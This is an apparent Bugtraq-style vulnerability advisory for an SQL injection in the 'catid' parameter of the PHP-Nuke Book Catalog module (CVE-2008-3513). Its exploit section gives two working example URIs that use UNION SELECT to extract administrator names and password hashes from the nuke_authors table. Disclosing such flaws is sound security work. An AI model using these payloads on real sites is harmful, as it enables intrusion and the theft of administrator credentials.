PHP-Nuke Book Catalog Module 'catid' Parameter SQL Injection Vulnerability

Bugtraq ID:	30511
Class:	Input Validation Error
CVE:	CVE-2008-3513
Remote:	Yes
Local:	No
Published:	Aug 01 2008 12:00AM
Updated:	May 07 2015 05:25PM
Credit:	h4ckcity
Vulnerable:	Basis Consultant Book Catalog 1.0
Not Vulnerable:

PHP-Nuke Book Catalog Module 'catid' Parameter SQL Injection Vulnerability

The Book Catalog module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHP-Nuke Book Catalog Module 'catid' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URIs are available:

http://www.example.com/modules.php?name=BookCatalog&op=category&catid=1+-9+union+select+1,pwd+from+nuke_authors
http://www.example.com/modules.php?name=BookCatalog&op=category&catid=1+-9+union+select+1,aid+from+nuke_authors

PHP-Nuke Book Catalog Module 'catid' Parameter SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

PHP-Nuke Book Catalog Module 'catid' Parameter SQL Injection Vulnerability

References:

• Book Catalog Homepage (Basis Consultant)
  
• PHP-Nuke Module BookCatalog (category&catid) Remote SQL injection Vulnerabili ([email protected])